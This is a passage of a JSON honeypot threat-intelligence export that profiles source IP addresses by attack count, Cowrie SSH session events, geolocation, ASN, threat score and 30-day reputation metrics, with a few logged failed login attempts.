        "first_seen_30d": "2026-04-01T01:36:40+00:00",
        "last_seen_30d": "2026-04-30T11:29:07.981000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 312,
        "Honeytrap": 159,
        "Redishoneypot": 22,
        "Mailoney": 12,
        "Dionaea": 8,
        "Miniprint": 8,
        "ConPot": 6,
        "Cowrie": 6,
        "Adbhoney": 2,
        "Honeyaml": 2
      }
    },
    "66.132.195.73": {
      "attack_count": 6,
      "first_seen": "2026-04-09T07:40:03.323Z",
      "last_seen": "2026-04-09T07:40:44.091Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 92.5,
      "threat_level": "critical",
      "score_components": {
        "frequency": 22.5,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 177,
        "days_active_30d": 30,
        "ports_targeted_30d": 47,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-04-01T14:14:01+00:00",
        "last_seen_30d": "2026-04-30T12:35:20.403000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 101,
        "Honeytrap": 60,
        "Cowrie": 6,
        "Dionaea": 4,
        "ElasticPot": 4,
        "ConPot": 1,
        "Sentrypeer": 1
      }
    },
    "8.134.239.76": {
      "attack_count": 6,
      "first_seen": "2026-04-02T22:32:49.609Z",
      "last_seen": "2026-04-10T02:23:58.172Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Guangzhou",
      "asn": 37963,
      "as_org": "Hangzhou Alibaba Advertising Co.,Ltd.",
      "threat_score": 9.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.0,
        "persistence": 7.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 10,
        "days_active_30d": 9,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T22:32:49.609000+00:00",
        "last_seen_30d": "2026-04-10T02:25:03.499000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 4
      }
    },
    "146.190.132.31": {
      "attack_count": 5,
      "first_seen": "2026-04-10T12:44:46.150Z",
      "last_seen": "2026-04-10T12:44:47.896Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "Kelltech2023"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 7.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T12:44:46.150000+00:00",
        "last_seen_30d": "2026-04-10T12:45:50.870000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "193.105.134.95": {
      "attack_count": 5,
      "first_seen": "2026-04-24T13:04:20.395Z",
      "last_seen": "2026-04-24T13:04:23.679Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "authority"
      ],
      "passwords_attempted": [
        "authority"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Sweden",
      "country_code": "SE",
      "city": "Stockholm",
      "asn": 42237,
      "as_org": "w1n ltd",
      "threat_score": 17.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-24T13:04:20.395000+00:00",
        "last_seen_30d": "2026-04-24T13:05:24.150000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "27.102.76.18": {
      "attack_count": 5,
      "first_seen": "2026-04-05T16:46:20.481Z",
      "last_seen": "2026-04-05T16:46:22.267Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": null,
      "asn": 45996,
      "as_org": "DAOU TECHNOLOGY",
      "threat_score": 3.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 10,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-05T16:46:20.481000+00:00",
        "last_seen_30d": "2026-04-05T19:42:33.125000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 5
      }
    },
    "58.242.60.163": {
      "attack_count": 5,
      "first_seen": "2026-04-13T01:13:12.475Z",
      "last_seen": "2026-04-13T01:13:14.383Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "super"
      ],
      "passwords_attempted": [
        "adminpass"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 9.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-13T01:13:12.475000+00:00",
        "last_seen_30d": "2026-04-13T01:14:23.767000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "103.183.13.42": {
      "attack_count": 4,
      "first_seen": "2026-04-16T19:16:46.757Z",
      "last_seen": "2026-04-18T18:13:29.914Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 17995,
      "as_org": "PT iForte Global Internet",
      "threat_score": 14.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.0,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 10,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-16T19:16:46.757000+00:00",
        "last_seen_30d": "2026-04-18T18:14:39.897000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Suricata": 6,
        "Cowrie": 4
      }
    },
    "112.123.106.96": {
      "attack_count": 4,
      "first_seen": "2026-04-19T11:11:15.693Z",
      "last_seen": "2026-04-19T11:11:16.239Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 13.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-19T11:11:15.693000+00:00",
        "last_seen_30d": "2026-04-19T11:21:23.369000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "198.235.24.149": {
      "attack_count": 4,
      "first_seen": "2026-04-28T22:57:55.740Z",
      "last_seen": "2026-04-28T22:57:59.063Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 68.3,
      "threat_level": "high",
      "score_components": {
        "frequency": 16.5,
        "persistence": 21.7,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 45,
        "days_active_30d": 26,
        "ports_targeted_30d": 11,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-03T00:50:13+00:00",
        "last_seen_30d": "2026-04-28T22:59:07.962000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 29,
        "Honeytrap": 12,
        "Cowrie": 4
      }
    },
    "198.235.24.244": {
      "attack_count": 4,
      "first_seen": "2026-04-01T22:27:55.252Z",
      "last_seen": "2026-04-01T22:27:59.072Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 79.1,
      "threat_level": "high",
      "score_components": {
        "frequency": 19.1,
        "persistence": 25,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 81,
        "days_active_30d": 30,
        "ports_targeted_30d": 23,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-01T08:14:45.640000+00:00",
        "last_seen_30d": "2026-04-30T16:47:07.947000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 53,
        "Honeytrap": 24,
        "Cowrie": 4
      }
    },
    "198.235.24.30": {
      "attack_count": 4,
      "first_seen": "2026-04-08T17:06:34.253Z",
      "last_seen": "2026-04-08T17:06:36.888Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 68.5,
      "threat_level": "high",
      "score_components": {
        "frequency": 16.1,
        "persistence": 23.3,
        "diversity": 14,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 41,
        "days_active_30d": 28,
        "ports_targeted_30d": 7,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-03T18:54:04.798000+00:00",
        "last_seen_30d": "2026-04-30T13:26:23.072000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 28,
        "Honeytrap": 9,
        "Cowrie": 4
      }
    },
    "2.57.122.189": {
      "attack_count": 4,
      "first_seen": "2026-04-30T04:04:30.013Z",
      "last_seen": "2026-04-30T04:04:31.663Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Romania",
      "country_code": "RO",
      "city": null,
      "asn": 47890,
      "as_org": "Unmanaged Ltd",
      "threat_score": 21.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T04:04:30.013000+00:00",
        "last_seen_30d": "2026-04-30T04:05:34.460000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "111.33.71.238": {
      "attack_count": 2,
      "first_seen": "2026-04-10T08:44:22.974Z",
      "last_seen": "2026-04-10T08:44:23.146Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Tianjin",
      "asn": 38019,
      "as_org": "tianjin Mobile Communication Company Limited",
      "threat_score": 16.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.0,
        "persistence": 10.0,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 12,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-01T01:22:31+00:00",
        "last_seen_30d": "2026-04-12T19:01:55.543000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Suricata": 12,
        "Cowrie": 2,
        "Honeytrap": 2
      }
    },
    "112.124.96.19": {
      "attack_count": 2,
      "first_seen": "2026-04-06T11:50:36.656Z",
      "last_seen": "2026-04-06T11:51:07.534Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Hangzhou",
      "asn": 37963,
      "as_org": "Hangzhou Alibaba Advertising Co.,Ltd.",
      "threat_score": 3.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-06T11:50:36.656000+00:00",
        "last_seen_30d": "2026-04-06T11:52:08.277000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "115.207.8.90": {
      "attack_count": 2,
      "first_seen": "2026-04-30T04:08:23.387Z",
      "last_seen": "2026-04-30T04:08:36.609Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T04:08:23.387000+00:00",
        "last_seen_30d": "2026-04-30T04:09:41.294000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "117.245.138.25": {
      "attack_count": 2,
      "first_seen": "2026-04-05T19:49:36.142Z",
      "last_seen": "2026-04-05T19:49:49.282Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "S\u012bkar",
      "asn": 9829,
      "as_org": "National Internet Backbone",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-05T19:49:36.142000+00:00",
        "last_seen_30d": "2026-04-05T19:50:52.792000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "143.137.81.92": {
      "attack_count": 2,
      "first_seen": "2026-04-01T03:48:38.772Z",
      "last_seen": "2026-04-01T03:48:53.254Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Dominican Republic",
      "country_code": "DO",
      "city": "Moca",
      "asn": 264750,
      "as_org": "TELEOPERADORA DEL NORDESTE S.R.L",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T03:48:38.772000+00:00",
        "last_seen_30d": "2026-04-01T03:50:03.551000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "157.107.67.117": {
      "attack_count": 2,
      "first_seen": "2026-04-28T15:57:39.088Z",
      "last_seen": "2026-04-28T15:57:52.606Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": null,
      "asn": 4685,
      "as_org": "Asahi Net",
      "threat_score": 16.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-28T15:57:39.088000+00:00",
        "last_seen_30d": "2026-04-28T15:59:01.220000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "168.205.136.235": {
      "attack_count": 2,
      "first_seen": "2026-04-30T22:31:30.558Z",
      "last_seen": "2026-04-30T22:31:43.735Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Nova Igua\u00e7u",
      "asn": 263145,
      "as_org": "GRUPO MEGA FLASH SERVICOS E COM LTDA - EPP",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T22:31:30.558000+00:00",
        "last_seen_30d": "2026-04-30T22:32:50.209000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "169.213.136.111": {
      "attack_count": 2,
      "first_seen": "2026-04-03T19:13:33.655Z",
      "last_seen": "2026-04-03T19:13:47.434Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Pohang",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-03T19:13:33.655000+00:00",
        "last_seen_30d": "2026-04-03T19:14:49+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "174.34.132.85": {
      "attack_count": 2,
      "first_seen": "2026-04-30T21:16:12.872Z",
      "last_seen": "2026-04-30T21:16:44.100Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 394380,
      "as_org": "Leaseweb USA, Inc.",
      "threat_score": 18.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T21:16:12.872000+00:00",
        "last_seen_30d": "2026-04-30T21:17:49.238000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "177.190.77.157": {
      "attack_count": 2,
      "first_seen": "2026-04-29T16:04:49.116Z",
      "last_seen": "2026-04-29T16:05:01.882Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Presidente Epit\u00e1cio",
      "asn": 263135,
      "as_org": "NOVA PORTONET TELECOMUNICACOES LTDA ME",
      "threat_score": 17.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-29T16:04:49.116000+00:00",
        "last_seen_30d": "2026-04-29T16:06:12.215000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "195.184.76.114": {
      "attack_count": 2,
      "first_seen": "2026-04-22T08:31:23.458Z",
      "last_seen": "2026-04-22T08:31:23.463Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Warrenton",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 81.0,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.0,
        "persistence": 25,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 125,
        "days_active_30d": 30,
        "ports_targeted_30d": 38,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-01T04:34:34.913000+00:00",
        "last_seen_30d": "2026-04-30T16:44:50.504000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 98,
        "Honeytrap": 25,
        "Cowrie": 2
      }
    },
    "203.40.102.42": {
      "attack_count": 2,
      "first_seen": "2026-04-28T01:17:09.128Z",
      "last_seen": "2026-04-28T01:17:22.675Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 1221,
      "as_org": "Telstra Limited",
      "threat_score": 16.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-28T01:17:09.128000+00:00",
        "last_seen_30d": "2026-04-28T01:18:31.543000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "205.210.31.171": {
      "attack_count": 2,
      "first_seen": "2026-04-08T20:23:22.026Z",
      "last_seen": "2026-04-08T20:23:31.731Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 91.8,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.8,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 153,
        "days_active_30d": 30,
        "ports_targeted_30d": 36,
        "honeypots_triggered_30d": 8,
        "first_seen_30d": "2026-04-01T06:29:01+00:00",
        "last_seen_30d": "2026-04-30T06:49:42.312000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 91,
        "Honeytrap": 27,
        "ConPot": 19,
        "Dionaea": 5,
        "Mailoney": 5,
        "Redishoneypot": 3,
        "Cowrie": 2,
        "Dicompot": 1
      }
    },
    "210.104.42.40": {
      "attack_count": 2,
      "first_seen": "2026-04-19T18:24:40.985Z",
      "last_seen": "2026-04-19T18:24:54.210Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Daejeon",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 11.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-19T18:24:40.985000+00:00",
        "last_seen_30d": "2026-04-19T18:25:58.432000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "221.145.9.172": {
      "attack_count": 2,
      "first_seen": "2026-04-17T09:01:18.572Z",
      "last_seen": "2026-04-17T09:01:49.174Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Dobong-gu",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 10.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-17T09:01:18.572000+00:00",
        "last_seen_30d": "2026-04-17T09:02:55.651000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "37.195.141.149": {
      "attack_count": 2,
      "first_seen": "2026-04-11T12:39:27.626Z",
      "last_seen": "2026-04-11T12:39:33.425Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Novosibirsk",
      "asn": 31200,
      "as_org": "Novotelecom Ltd",
      "threat_score": 6.9,
      "threat_level": "minimal",
      "score_components": {
